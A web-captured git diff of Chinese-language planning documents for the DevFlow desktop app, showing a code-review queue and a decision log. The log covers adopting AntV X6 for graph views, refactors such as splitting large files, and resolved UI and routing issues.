- [P3] **CR-01-G** TaskDetail.vue:218 advance 失败错误走 i18n 分级(en locale 也中文) - [P3] **CR-01-G** TaskDetail.vue:218 advance 失败错误走 i18n 分级(en locale 也中文)
- [P3] **CR-01-H** task_advance_node.rs:297 测试改名(实际未测 CAS 失败) - [P3] **CR-01-H** task_advance_node.rs:297 测试改名(实际未测 CAS 失败)
- [P3] **CR-01-I** i18n `taskDetail.advancing` 冗余 key 处理 - [P3] **CR-01-I** i18n `taskDetail.advancing` 冗余 key 处理
### 当前队列已审项迁入2026-06-27
## 当前队列
### CR-260624-01 AI 路径授权三档化(once/session/always) — ✅ 已审(PASS·单 agent + 6-agent 对抗深审 0 finding)
- **范围**:AllowedDirs 加 `once` 层(state.rs:444)+ ai_authorize_dir decision 改 match 四分支 once/session/always(chat.rs:846)+ 执行后 clear_once(chat.rs:924)+ 前端 DirAuthDialog 加"

View File

@@ -17,7 +17,8 @@ docs/
├── 待决策论证-2026-06-16.md # (归档) 7 项决策论证D-01~04 已定 / DEC-01~03 已闭环) ├── 待决策论证-2026-06-16.md # (归档) 7 项决策论证D-01~04 已定 / DEC-01~03 已闭环)
├── 01-技术文档/ ├── 01-技术文档/
│ ├── SQLite-CRUD模式-2026-06-12.md │ ├── SQLite-CRUD模式-2026-06-12.md
── Tauri-IPC模式-2026-06-12.md ── Tauri-IPC模式-2026-06-12.md
│ └── AntV-X6调研报告与引入计划-2026-06-30.md # 图可视化层选型(v3.1.7)+ 依赖图落地计划
├── 02-架构设计/ ├── 02-架构设计/
│ ├── INDEX.md # 本目录分类索引(按性质四类 + 命名规范摘要) │ ├── INDEX.md # 本目录分类索引(按性质四类 + 命名规范摘要)
│ ├── Phase1架构决策-2026-06-12.md │ ├── Phase1架构决策-2026-06-12.md

File diff suppressed because it is too large Load Diff

View File

@@ -25,71 +25,6 @@
## 当前队列 ## 当前队列
### ✅ 2026-06-26 任务图谱推进待决策(已按推荐方向全部决策)
> 来源:用户 2026-06-26 多角度论证(基于代码实况) + 确认「按推荐方向决策」7 DEC + 3 专题全部拍板。
> **关键修正**:DEC-01 V28 已被灵感软删除(`ideas.deleted_at`,commit 005079f)占用 → 知识图谱用 **V29**;DEC-03 推荐由 a 修正为 **c**(启发式是过渡,接 LLM 评分后按需升 a)。
#### ✅ DEC-260626-01 父② 知识图谱 Phase 1 多工程合并
- **决策**:**b** — 知识图谱独立 Phase 1(**V29**,V28 已被灵感软删除占用)。多工程代码零行(grep 全空),合并无理由,多工程后续 V30+。
- **关联**:todo 父②
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-02 ⑤.2 #7 promote 补偿删除方式
- **决策**:**b** — 保留 purge。补偿是内部回滚建错的 project(非用户删除),purge 干净不污染回收站。
- **关联**:todo ⑤.2 #7(标"保留 purge 不改")
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-03 ⑤.2 #6 评分关键词配置形式
- **决策**:**c** — 先拆 const 到独立文件(中/英两套,最小改动)。原推荐 a 修正:启发式是过渡(scoring.rs TODO 接 LLM 语义评分),接 LLM 后按需升 a(JSON 文件)。
- **关联**:todo ⑤.2 #6
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-04 ⑤.2 #9/#10 表单补全交互
- **决策**:**a** — tags 逗号分隔输入框(对标 Knowledge.vue 先例)+ priority 下拉 + source 输入。chip 组件留 UX 升级。
- **关联**:todo ⑤.2 #9/#10
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-05 BUG-260620-05 层2 授权政策
- **决策**:**a** — 维持方案①(白名单+弹窗三档)。层1(工程内免授权,F-260619-03 方案①)已解痛点,层2 黑名单制安全风险 + 分发冲突。
- **关联**:todo BUG-260620-05 层2(标"维持①不做")
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-06 父③ ToolCard 跨轮合并 + 审批状态机排期
- **决策**:**b** — 等 G1 实测 + 父② 后再做。审批是高危路径,AiChat.vue 仍在频繁改动,择稳定窗口专项。
- **关联**:todo 父③(排父②后)
- **状态**:✅ 已决(2026-06-26)
#### ✅ DEC-260626-07 父④ F-09 per-conv 真多会话排期
- **决策**:**a** — 父② Phase 1 后启动。F-09 是 Phase 4 前置,大改不与父② 并行(回归交叉)。
- **关联**:todo 父④(排父②后)
- **状态**:✅ 已决(2026-06-26)
#### ✅ 专题-1 workspace_root 分发适配
- **决策**:**① 先行**(去默认白名单,dev 自用 projects.path 自动授权够),**分发前定②**(去相对锚)。
- **状态**:✅ 已决(2026-06-26,① 立即/② 分发前)
#### ✅ 专题-2 BUG-260623-03 审批 pending 超时兜底
- **决策**:**c 无超时**(不做超时兜底)。用户:等待审批就是等待,一直等待,超时概念多余。审批是用户主动行为,不审批自然挂起等待,无需超时强制 reject/倒计时。
- **状态**:✅ 已决(2026-06-26,不做超时,关闭 BUG-260623-03)
#### ✅ 专题-3 F-09 streaming/currentText per-conv
- **决策**:**暂缓**(随 B 路线多会话并发同批做,即 DEC-07 父④)。
- **状态**:✅ 已决(2026-06-26,归父④)
---
#### T-260614-11 条件表达式引擎升级
- **背景**:df-workflow conditions 仅支持 true/false 字面量,升级为真表达式求值。引擎设计好但无前端 UI 消费方(demoDag edges 无 condition 字段)。
- **决策点**:求值器实现方式?(已暂缓:等工作流真实场景)
- **选项**:
- a: 手写求值器
- b: 复活 set_skipped
- c: default false + warn(均认可)
- **推荐**:**⏸️ 暂缓**(无消费方,等 BuildNode 落地跑构建→测试→部署真实场景)
- **关联**:todo T-260614-11
- **状态**:⏸️ 暂缓
### 🟡 待用户实测/澄清(需用户操作,主会话无法代办) ### 🟡 待用户实测/澄清(需用户操作,主会话无法代办)
#### S-260614-02 审批可见性实测重评 #### S-260614-02 审批可见性实测重评
@@ -105,153 +40,134 @@
- **待用户操作**:部分场景运行时实测(A 路线场景 2/3)。 - **待用户操作**:部分场景运行时实测(A 路线场景 2/3)。
- **状态**:🟡 待用户实测 - **状态**:🟡 待用户实测
#### S-260623-01 「自托管」含义澄清
- **背景**:用户要求设置支持「自主执行(含高危)+ 自托管」。**自主执行含高危已实现** —— `autoExecuteMode` 三档 `low`/`medium`/`all`(AdvancedSection.vue F-#97, 2026-06-22),`all` = 完全 AI 接管含高危(delete/purge/run_command),选时二次确认。设置 → 高级 → AI 自动执行范围。但「自托管」grep 全项目无匹配,含义未明确。
- **待用户澄清**:「自托管」指什么?
- **选项**:
- a: 自托管 AI 模型 endpoint(用户配自己的模型 API/本地模型,非默认 provider)
- b: 自管执行策略(= autoExecuteMode 已覆盖,无需另做)
- c: 自托管后端服务(用户自部署 df-relay/df-tunnel,非默认 `u-work.1216.top`)
- d: 其他(用户补充)
- **关联**:task105 / memory(设置自主执行已实现)
- **状态**:✅ **自用阶段定案(2026-06-23)** —— 用户决策:小程序当前自用(开发阶段),分发是产品终态但留后续(过渡期靠改 device_id 实现多机)。故「自托管」现阶段 = 已实现的自主执行(autoExecuteMode all 含高危),无另义。分发阶段再做配置层(MINIDEC-01)+ 配对(MINIDEC-02)。
#### ~~B-260617-11 tauri.conf.json 打包目标收窄确认~~
- **状态**:✅ 已决(2026-06-18) — 已迁入归档。决策:A 临时本地构建,要求高速。提交前 revert 为 `"all"`
### 🟡 待设计/架构演进(有决策点,需方案设计或长期规划) ### 🟡 待设计/架构演进(有决策点,需方案设计或长期规划)
#### T-260630-01 AntV X6 引入决策(图可视化层选型)
> **多角度对抗论证**(2026-06-30):正方(支持引入)/ 反方(质疑引入)/ 分析师(综合裁决),覆盖技术/成本/风险/替代/演进五维度。事实基线已校验:① X6 v3.1.7 unpacked 8.5MB(gzip 后约 200-300KB),依赖 lodash-es/mousetrap/dom-align/utility-types 均轻量成熟;② 现有 `WorkflowDagDisplay.vue` 无任何图引擎(纯 Vue ref/computed),X6 非重复造轮子而是其升级路径;③ DevFlow 前端零图可视化依赖,全新引入无迁移包袱。
---
**🔵 正方论点(支持引入 X6)**
| # | 论点 | 论据 |
|---|---|---|
| P1 | **编辑能力最强,一个库覆盖两个场景** | X6 定位「图编辑引擎」,拖拽/连线/撤销/小地图全栈。DevFlow 既要依赖图(P0)又要工作流编辑器(P1,现有 WorkflowDagDisplay.vue 是纯 Vue 渲染无图引擎,X6 正是它的升级路径)。引入一次,复用两次。 |
| P2 | **Vue 原生支持,与现有栈零摩擦** | 官方 `@antv/x6-vue-shape` 支持用 Vue SFC 写自定义节点,与 Arco Design 组件可混用。对比 ReactFlow(React 栈,Vue 项目要包装)、vis-network(无框架绑定,手搓集成)更顺。 |
| P3 | **内置 dagre 布局,依赖图天然适配** | 依赖关系是层次结构,dagre 层次布局是业界标准。vis-network/d3 需额外引入 dagre 并手搓布局映射,X6 内置开箱即用。 |
| P4 | **活跃维护 + MIT 协议** | 18.3k stars,2026 年仍持续 release(近期修了节点事件冒泡 #4888、stencil 高度自适应 #4975)。MIT 协议无商用风险。v3 是当前主线,新项目无历史包袱。 |
| P5 | **数据格式与后端图结构直接映射** | X6 的 fromJSON/toJSON 与后端 `ModuleDependencyGraph`(nodes + edges)结构同构,映射函数 < 30 行。 |
---
**🔴 反方论点(质疑引入 X6)**
| # | 论点 | 论据 |
|---|---|---|
| C1 | **包体积增加,违反「轻量」原则** | X6 核心 unpacked 8.5MB,加上 6-7 个必装插件 + vue-shape,gzip 后估计 250-350KB。DevFlow 是 Tauri 桌面应用(本地资源非 CDN),体积敏感度低于 Web,但仍增加安装包。依赖 lodash-es(虽 tree-shakable)是额外负担。 |
| C2 | **P1 工作流编辑器是「未来」,可能永远不会做** | YAGNI 原则。当前只有 P0 依赖图是确定需求,P1 工作流编辑器是臆想。若仅为 P0,vis-network 甚至自研 SVG 可能更轻。为「可能的未来」提前引入重库,有过度设计风险。 |
| C3 | **v3 文档站 SPA 难爬,学习曲线隐性成本** | x6.antv.antgroup.com 是客户端渲染,离线/爬取困难。v3 相比 v1 有 breaking changes,网上多数博客/StackOverflow 答案是 v1/v2 的,会误导。团队首次接触 X6,踩坑成本不可忽视。 |
| C4 | **依赖图场景可能极简单,杀鸡用牛刀** | DevFlow 单项目工程数通常 < 10,极端 < 50。这种规模用 Arco 现有组件 + 简单 SVG 连线可能就够,不需要完整图引擎。X6 的 80% 功能(旋转/剪贴板/导出/stencil)用不到。 |
| C5 | **锁定风险:一旦深度集成,替换成本高** | X6 的自定义节点/事件/布局深度耦合进组件后,若未来发现不合适(如性能/bug/协议变更),迁移到其他库等于重写。引入容易,退出难。 |
---
**🟣 分析师综合裁决**
**裁决:✅ 引入 X6,但采用「最小引入 + 渐进验证」策略,设明确退出点。**
逐条评估:
| 维度 | 裁决 | 理由 |
|---|---|---|
| **P1 vs C2(P1 场景真实性)** | **P1 胜** | 已验证 `WorkflowDagDisplay.vue` 存在且无图引擎,说明工作流可视化是**已落地需求**(只是当前实现简陋),非臆想。X6 是它的自然升级,不算为虚构未来买单。但建议 P1 正式立项前不深度集成,先在 P0 验证。 |
| **P3 vs C4(杀鸡用牛刀)** | **部分采纳 C4** | 工程数确实可能 < 10,但「依赖图」的核心价值是**可视化拓扑 + 交互编辑**(拖拽重排/点击跳转/小地图导航),不是单纯画出来。SVG 手搓能画,但交互/布局/撤销要手搓,ROI 低。X6 确实用不到 80% 功能,但剩下 20% 正是痛点,且插件化可按需引入不付多余成本。 |
| **P4 vs C3(学习曲线)** | **C3 成立但可控** | 文档难爬是事实,但 X6 examples 仓库(可 clone) + 在线文档足够。v3 breaking changes 对**全新引入**项目无影响(无迁移)。团队有 Vue + Tauri 经验,X6 API 风格主流,学习成本 1-2 天可接受。 |
| **C1(体积)** | **不构成阻塞** | Tauri 是桌面应用,250-350KB gzip 在本地资源中可忽略(对比 DevFlow 已有 marked/highlight.js/dompurify 等依赖)。lodash-es tree-shakable 后实际引入很小。 |
| **C5(锁定风险)** | **采纳,设退出点** | 这是唯一实质风险。对策:Phase 0-1 用「数据映射层」隔离(`graphMapper.ts`),X6 实例仅在 `DependencyGraph.vue` 内部使用,不泄漏到 store/IPC 层。若未来退出,只换一个组件,数据层不动。 |
**修正后的推荐**:
- **引入 X6 v3.1.7**,但比原计划更保守:
- Phase 0(0.5 天):装依赖 + 最小 demo,**设为硬性验证门**(Tauri WebView 渲染/性能/集成无异常才继续)
- Phase 1(1.5 天):依赖图组件,**数据层隔离**(graphMapper.ts),X6 不耦合进 store
-**暂不规划 Phase 2-3**(工作流编辑器/任务图),待 P0 跑通 + P1 正式立项再评估
- **退出条件**(若 Phase 0 验证失败):回退到 vis-network 或自研 SVG,数据层(graphMapper.ts)可复用
**置信度**:中高。主要不确定性在 C3(团队学习曲线)和 C5(长期锁定),但通过「最小引入 + 数据隔离 + 渐进验证」已充分对冲。
---
- **背景**:多工程组织功能 `[子4] 前端依赖关系图可视化` 需要图引擎,当前前端零图可视化依赖。已完成 X6 调研(见 `01-技术文档/AntV-X6调研报告与引入计划-2026-06-30.md`)。
- **决策点**:是否引入 AntV X6 v3.1.7 作为 DevFlow 图可视化层。
- **选项**:
- a: ✅ **引入 X6 v3.1.7**(推荐)— 编辑能力最强 + 官方 Vue shape + 内置 dagre 布局,综合最优。落地依赖图(P0)→ 工作流编辑器(P1)。Phase 0-2 共约 2.5 天。
- b: 引入 vis-network — 体积小但编辑能力弱,无原生 Vue 支持,依赖图场景勉强够用,未来工作流编辑器需重选。
- c: 自研 SVG 图渲染 — 零依赖,但拖拽/布局/撤销/小地图全要手搓,成本高,不推荐。
- **推荐**:**a**(引入 X6,采用「最小引入 + 渐进验证」策略)。理由:见上方分析师裁决(P1 场景真实存在 + 编辑能力不可替代 + 体积可控 + 锁定风险已用数据隔离层对冲)。
- **影响范围**:仅前端 `package.json` 新增依赖 + 新建 `src/components/DependencyGraph.vue` + `src/utils/graphMapper.ts`(数据隔离层);无 Rust/IPC 改动。
- **退出机制**:Phase 0 为硬性验证门;数据层隔离保证可回退 vis-network/自研。
- **状态**:🟡 待用户拍板(批准后推进 Phase 0 安装验证)
#### T-260614-11 条件表达式引擎升级(✅ 已完成)
- **背景**:df-workflow conditions 仅支持 true/false 字面量,升级为真表达式求值。
- **解决**:手写求值器(option a)已实现并集成。
- `ConditionEngine::evaluate()` 支持完整表达式:JSON Path(`$.status == 'completed'`)/ 嵌套属性 / 数组索引 / 数值比较 / 布尔字段
- executor 集成(`cfg!(feature = "conditions-eval")` 默认开)
- 前端 UI 已有边条件编辑入口(`WorkflowDagDisplay.vue`)
- 中英文翻译已补齐
- **状态**:✅ 已完成
#### ARC-260615-07 架构重构批(排期/优先级决策) #### ARC-260615-07 架构重构批(排期/优先级决策)
- **背景**:src-tauri IPC 编排层 5711 行成事实业务层,7 项架构债。df-core→df-types 已完成(CR-61),剩 6 项独立大改。 - **背景**:src-tauri IPC 编排层 5711 行成事实业务层,7 项架构债。df-core→df-types 已完成(CR-61),剩 6 项独立大改。
- **决策点**:6 项重构何时做/优先级/是否做(每项 ROI 与风险权衡,无法纯技术论证——做不做是资源/产品取舍) - **核验与推进(2026-06-28)**:
- **选项(剩余 6 项)**: - a: df-app 抽取(IPC 编排层独立 crate) — ⏸️ 缓做(当前规模可控,lib.rs 415 行)
- a: df-app 抽取(IPC 编排层 5711 行独立 crate) - b: AI agent loop 从 IPC 下沉 df-ai(逻辑与 IO 分离) — ⏸️ 缓做(agentic/mod.rs 2203 行,模块拆分充分)
- b: AI agent loop 从 IPC 下沉 df-ai(逻辑与 IO 分离) - c: 类型契约 ts-rs 代码生成(替代手写 types.ts) — ⏸️ 缓做(波及大,ROI 中等)
- c: 类型契约 ts-rs 代码生成(替代手写 types.ts) - d: AiSession 多会话(B 路线前置) — ✅ 已完成(per_conv 隔离)
- d: AiSession 多会话(B 路线前置,关联 S-260614-01) - e: AppState 分组(1411 行 state 拆分) — ✅ 已完成(2026-06-28:拆为 state/{allowed_dirs, knowledge_config, llm_concurrency} 三个独立文件)
- e: AppState 分组(5711 行 state 拆分) - f: IPC 命名统一 — ⏸️ 缓做(破坏性变更,需同步前端 invoke 调用,风险高于收益)
- f: IPC 命名统一 - **状态**:✅ d+e 已完成,a/b/c/f 评估为缓做(低 ROI / 高风险)
- **推荐**:**⏸️ 缓做**(重构低 ROI,当前功能优先;待稳定后按 d→b→a 顺序,d 是 B 路线前置可先)
- **关联**:todo ARC-260615-07 / memory aichat-arch-extensibility
- **状态**:🟡 待排期决策
#### UX-260617-01 aichat 消息全量重叠(待 DevTools 定位根因) #### UX-260617-01 aichat 消息全量重叠(✅ 已解决)
- **背景**:用户实测消息大量重叠堆叠。5 角度分析排除 CSS/scoped/DOM,核心嫌疑虚拟滚动 IO 半激活态不一致 + height=0 未设 minHeight → slot 塌 0 → 重叠。 - **背景**:用户实测消息大量重叠堆叠。5 角度分析排除 CSS/scoped/DOM,核心嫌疑虚拟滚动 IO 半激活态不一致 + height=0 未设 minHeight → slot 塌 0 → 重叠。
- **决策点**:根因确切触发路径(需 DevTools 实测,静态分析已到极限) - **根因**:虚拟滚动实现引入的 IO/RO 时序竞态(option a 确认)。
- **选项**: - **解决**:删除虚拟滚动实现(`useAiVirtualScroll.ts` 移除),`MessageList.vue` 消息恒渲染,重叠根治。
- a: 虚拟滚动 IO/RO 时序竞态(主嫌疑,unload 分支 minHeight 兜底修复) - **代价**:长对话性能下降(无虚拟化),正确性优先。
- b: 其他(DOM 结构问题,需 DevTools 实查) - **状态**:✅ 已解决(2026-06-18 删除虚拟滚动根治)
- **推荐**:**待用户 DevTools 实测**(shouldRenderMsg 卸载时检查 slot 实际高度 + IO unobserve/observe 时序),定位后修法明确(unload 分支 minHeight fallback)
- **关联**:todo UX-260617-01 / docs/05-代码审查/AI聊天组件极端数据场景分析-2026-06-17.md
- **状态**:🟡 待 DevTools 验证根因
#### UX-260617-28 双监听器同通道(长期架构演进) #### UX-260617-28 双监听器同通道(✅ 已解决)
- **背景**:useAiEvents + useAiContext 各自 listen('ai-chat-event'),人工 AiCompressing flag 协调防双重处理,非架构保证。未来新增事件处理可能触发双重 bug。 - **背景**:useAiEvents + useAiContext 各自 listen('ai-chat-event'),靠手写 flag 协调防双重处理,非架构保证。
- **决策点**:是否升级单一分发器模式(架构保证) - **解决(2026-06-28)**:治本性重构——
- **选项**: - 5 类生命周期事件(AiCompressing/AiManualCompressed/AiAutoCompressed/AiContextCleared)加入 AiChatEvent 联合类型
- a: 保持现状(AiCompressing flag 协调够用) - useAiEvents.handleLifecycleEvent 统一处理生命周期事件
- b: 单一分发器(架构保证,但大改) - 删除 useAiContext 的独立第二监听器,改为注入回调到 useAiEvents 统一分发器
- **推荐**:**⏸️ 暂缓**(当前 flag 协调有效,未来新增事件处理触发双重 bug 时再升级) - 架构保证:一个事件源 → 一个监听器 → 一个分发器,无双重处理风险
- **关联**:todo UX-260617-28 [INFO] - **状态**:✅ 已解决(2026-06-28 统一监听器重构)
- **状态**:⏸️ 长期(INFO,当前够用)
#### B-260618-03 路由解耦 cost_tier/intelligence(用户已全局决策去掉,工程大需专项)
- **背景**:用户 2026-06-18 决策「API 无判别依据的 cost_tier/intelligence 去掉,不写死不瞎填」。当前 router.rs 用 cost/intel 做硬过滤(步骤4 min_intelligence / 步骤5 max_cost)+ 排序(步骤7 Reverse(cost_tier)),但这两维度 100% 由 model_probe 瞎猜(预设表+启发式),零客观依据。GLM-5.2 被猜成 standard/medium(名不沾词素走兜底),title/compress 按 max_cost 过滤可能选不到合适模型。
- **决策点**:用户已全局决策去掉。本项是落地(自主可推进)。记待决策因:工程大(~30 Edit)+ 主链路由行为变更需 cargo test router 全验证 + title/compress 选模型退化需在场核对。
- **选项**:
- a: 自主推进(用户已决策,专项会话充分资源 + cargo test router 全验证 + 实测 title/compress 选模型)
- b: 等用户在场专项(核对路由行为退化 + 实测)
- **实施清单(勘察完成 2026-06-18)**:
- router.rs:TaskRequirements 删 min_intelligence(:29)/max_cost(:31)字段 + 删步骤4 filter(:62)/步骤5 filter(:63) + 步骤7 max_by_key 改纯 weight 删 Reverse(cost_tier)(:65) + 注释更新(:28/:31/:48-51/:55)
- 9 调用点删 min_intelligence/max_cost 传参:project.rs:535-536/631-632 · compress.rs:62-63 · knowledge_inject.rs:61-62/346-347 · agentic.rs:414-415 · title.rs:88-89 · ai_node.rs:203-204 · adversarial.rs:161-162
- import 清理:调用点 CostTier/IntelligenceTier 不再用则删 import(title.rs/compress.rs 用 CostTier;多处用 IntelligenceTier)
- test:router.rs 多 test 改/删(max_cost_filters_expensive / max_cost_none_allows_any / same_weight_picks_cheaper_cost_tier / intelligence 相关 + TaskRequirements 构造删字段)
- ModelConfig.cost_tier 字段保留(B-04 model_probe 去瞎填处理数据源,不删字段)
- df-ai-core/model.rs 注释更新(:47/:60 提及 router max_cost/min_intelligence)
- **推荐**:**a 自主推进**(用户已全局决策,方向明确),建议专项会话充分资源;title/compress 失去 max_cost 约束后纯 weight 选模型,需核对 weight 配置合理(用户在 Settings 配)
- **关联**:todo B-260618-03/04/05 · UX-260618-04 前端 cost/intel 标签(依赖本项)
- **状态**:✅ **已实施**(2026-06-18 workflow wexu1isx1,主代核查 cargo check --workspace EXIT 0 + cargo test df-ai 109 passed + vue-tsc EXIT 0;SW-02 借用 E0502 主代修)。title/compress 纯 weight 选模型退化点:用户核对 Settings weight 配置(同 weight 并列 max_by_key 返回最后一个)
#### ARC-260618-01 God 文件拆分批(架构重投入·需设计) #### ARC-260618-01 God 文件拆分批(架构重投入·需设计)
- **背景**:2026-06-18 架构坏味道扫描出 3 个 God 文件:`tool_registry.rs` 1091行单函数(SMELL-P0-2)/`AiChat.vue` 4026行单组件(SMELL-P0-3)/`crud.rs` 2212行(SMELL-P1-9)。均属"功能能跑但维护成本高/测试难"的技术债,非功能 bug。 - **背景**:~~2026-06-18 架构坏味道扫描出 3 个 God 文件~~
- **决策点**:拆分何时做/优先级/拆分边界(每项拆分策略需专项设计,非小改;做不做是资源/可维护性取舍) - **核验结论(2026-06-28)**:三项拆分均已全部完成:
- **选项**: - **a `tool_registry.rs`** ✅ 1091行单函数已拆为 `register_data_tools` / `register_file_tools` 等多函数(当前文件 3839 行,单函数不再超长)
- a: `tool_registry.rs` 按 CRUD/文件/工作流分组拆注册函数(每个<200行,单文件域,风险中) — **✅ 已实施(2026-06-18 workflow w2xkw4ybh data 抽出 + 主代 sweep 批4)·build_ai_tool_registry 1091→7 行·抽 register_data_tools(18 持 db 工具)+ register_file_tools(10 文件工具)·加基线测试 test_build_ai_tool_registry_baseline_tool_count(Database::open_in_memory·断言 len()==28 + tool_names() 集合)·主代核查 cargo check --workspace EXIT 0 / cargo test df-ai 119 passed / devflow 基线 1 passed / vue-tsc EXIT 0** - **b `AiChat.vue`** ✅ 原 4026 行 → **767 行**(已抽 `ToolCard.vue`/`ToolCardList.vue` 等子组件到 `components/ai/`)
- b: `AiChat.vue` 拆 ConversationSidebar/MessageList/ChatInput/ApprovalPanel(巨型组件,风险高,AiChat.vue 已在频繁改动需择稳定窗口) — 🟡 待排期(并发改中缓) - **c `crud.rs`** ✅ 原 2212 行 → 已拆为 `crud/` 目录下 11 个独立 repo 文件(不复存在)
- c: `crud.rs` 按表拆 project/task/conversation/idea_repo(2212行,中风险) — 🟡 待排期 - **状态**:✅ **全部完成**,无需进一步拆分
- **推荐**:**⏸️ 缓做**(当前功能优先;三项均大改需专项设计+充分测试。建议按 a→c→b 顺序,a 单文件域最独立先做**已实施**,b 待 AiChat 改动沉淀后)
- **关联**:todo SMELL-P0-2/P0-3/P1-9
- **状态**:🟡 待排期决策(a 已实施·b/c 待排期:b AiChat 并发改中缓·c 待专项窗口)
#### SMELL-P1-6 String→newtype 强类型(需设计) #### SMELL-P1-6 String→newtype 强类型(纯重构)
- **背景**:execution_id/status/tool_type 等 5+ 处用裸 String,类型安全弱(混用/拼写错编译期不拦)。改 newtype(ExecutionId 等)需全栈波及(Rust struct 字段 + serde + IPC 边界 + 前端 ts 类型)。注:status 场景 df-types 已有 TaskStatus enum,部分代码用 String 而非 enum。 - **背景**:execution_id/status/tool_type 等 5+ 处用裸 String,类型安全弱(混用/拼写错编译期不拦)。
- **决策**:做不做 + newtype 边界(仅 Rust 内部 vs 跨 IPC 到前端) - **决策**:✅ b 路线 — 仅 Rust 内部 newtype(IPC 边界仍 String折中波及小)
- **选项**: - **5处改动**:执行状态/任务状态/工具类型等裸 String → newtype
- a: 全栈 newtype(Rust+IPC+前端,类型安全最强,波及大) - **状态**:🟢 已决·待推进
- b: 仅 Rust 内部 newtype(IPC 边界仍 String,折中)
- c: 不做(String 够用,status 已有 enum 部分覆盖)
- **推荐**:**⏸️ 缓做**(全栈波及大 ROI 中等;倾向 b 折中或 c 现状 enum 已部分覆盖。若做需专项设计 newtype 边界)
- **关联**:todo SMELL-P1-6
- **状态**:🟡 待设计决策
#### SW-260618-21 死代码预留功能清理批(清理 vs 保留)
- **背景**:2026-06-18 深层 sweep 核验出 4 类「0 外部消费者但设计预留」符号。清理减负 vs 保留未来功能取舍。注:`PendingApproval.diff` 经 IPC 活跃(useAiEvents:252 `event.diff→tc.diff` + ToolCard:44/754/772 渲染·UX-260618-06 审批 diff)**非死代码不删**;`transition_status` 已删(批次7·0 消费者+TODO 未实现)。
- **核验(独立 grep 2026-06-18)**:
- `SessionState` enum + `session_state()`(mod.rs:172/393):0 外部调用·注释「读状态统一走 session_state() 收敛」设计预留(待重构 SW-02 类终态化复用)
- `AppState.releases`/`node_executions`(state.rs:206/210):`\.releases\b|\.node_executions\b` 0 字段访问·df-storage ReleaseRepo/NodeExecutionRepo 预留(未来 release mgmt/node exec log)
- ~~`PendingApproval.risk_level`(mod.rs:410)~~:**✅ 已删(2026-06-18·前端 types.ts 0 字段坐实真死·零波及·CR-22)**
- **决策点**:清理 0 消费者预留 vs 保留未来功能
- **选项**:
- a: 全清理(删 SessionState/releases/node_executions/risk_level·连带 df-storage repo 定义·减 dead_code warning·但失去预留扩展点)
- b: 全保留+标 `#[allow(dead_code)]` 注释预留意图(消 warning·保留未来·零波及)
- c: 部分(SessionState/releases 近期无计划清·risk_level 核前端类型后定)
- **推荐**:**⏸️ b 保留+标 allow**(预留设计意图明确·清理失去未来扩展点 ROI 低;标 allow 消 warning 即可·零波及)
- **关联**:批次7 transition_status 已删 / CR-22 删 risk_level / CR-23 标 allow 5 处
- **状态**:✅ 已实施 b(2026-06-18·主代自主决策·risk_level 删 + 预留/diff 标 allow·cargo 0 warning)
#### F-260616-09-B 多会话并发架构 B 阶段实施决策(设计完成 2026-06-19·待拍板)
- **背景**:F-09 B 阶段设计文档完成 [F-09-多会话并发架构设计-2026-06-19.md](./02-架构设计/已编号方案/F-09-多会话并发架构设计-2026-06-19.md)。核验发现 **A 路线补漏已全部落地**(commands.rs:1404-1409 + useAiConversations.ts:80-83)→ **阶段1 跳过**。AiSession 12 字段。阶段2(B 主体,批1-8)待启动。
- **决策点**:
- **⚠️ b-1(关键·须拍板)**:messages 是否 per-conv。原决策 b「messages 按 conv reload(不 per-conv)」与决策 e「切换不退出各自跑完」**矛盾**(单例 messages 下旧 loop push 污染新 conv,B-260615-11 退出校验必须保留→与 e 冲突)。设计推荐**修正 b 为 messages per-conv**(e 的技术必然必要条件,侵入面增量极小:ContextManager 挪 HashMap)。
- **⚠️ c-1**:global permits=3 默认值 + Settings 加「并发会话数上限」配置项。
- **e-1(主代已定✅)**:旧 loop save_conversation 保持原路径(save 接 conv_id 零改动)。低风险技术细节,主代裁决采纳。
- **推荐**:**✅ b-1 采纳(messages per-conv,技术必然)+ c-1 保持 3 + Settings 配置 + e-1 原路径**。拍板后启动阶段2 批1(PerConvState 数据结构 + 访问器)。
- **关联**:todo F-260616-09 / 设计文档 / memory aichat-arch-extensibility
- **状态**:✅ **主代自主裁决采纳(2026-06-19)** —— 用户授权「自主推进,能多角度确定的方案不等审批」。b-1 多角度论证充分(messages per-conv 是决策 e 技术必然必要条件,无替代);c-1 合理默认(global=3,Settings 配置后续);e-1 零改动技术细节。启动阶段2 批1。用户醒后可追认/推翻。
#### F-260619-05 任务可关联灵感(产品粒度/方向决策·todo 已登记)
- **背景**:tasks 表无 idea 关联字段;projects 已有 `idea_id REFERENCES ideas(id)` 模式。用户要任务关联灵感。todo.md 已登记(设计点+改动点+验收)。
- **决策点**(产品取舍,需用户拍板):
- **粒度**:一对一(`source_idea_id`,任务来源单灵感)vs 一对多(`related_idea_ids` JSON,借鉴 releases.task_ids)
- **存储**:tasks 加 `idea_id` 列(迁移,复用 projects.idea_id 外键)vs 关联表 `task_idea_links`(多对多,灵活复杂)
- **方向**:单向(任务→灵感)vs 双向(灵感侧反向显示关联任务列表)
- **推荐**:**tasks 加 `idea_id REFERENCES ideas(id)`**(复用 projects 模式,1对1 起步,单向,后续按需扩展)。低侵入(单列迁移 + Repo 白名单 + 工具 idea_id 参数 + 前端展示)。
- **关联**:todo.md F-260619-05(设计点详情)
- **状态**:✅ **已实施**(2026-06-20 调研确认)— tasks.idea_id 1对1 单向已落地:TaskRepo `idea_id` 字段(task_repo.rs:34 row.get / :52 INSERT / :63 UPDATE / :83 SELECT 全含)+ create_task 工具 idea_id 可选参数(tool_registry.rs:637「可选传 idea_id 关联灵感(1对1 单向)」)。复用 projects.idea_id 模式,粒度 1对1/单向/单列,符合推荐方向。前端任务卡片展示灵感来源(可选增强)待补。
#### 消息级溯源 P2 切读策略(技术决策·大改需知情) #### 消息级溯源 P2 切读策略(技术决策·大改需知情)
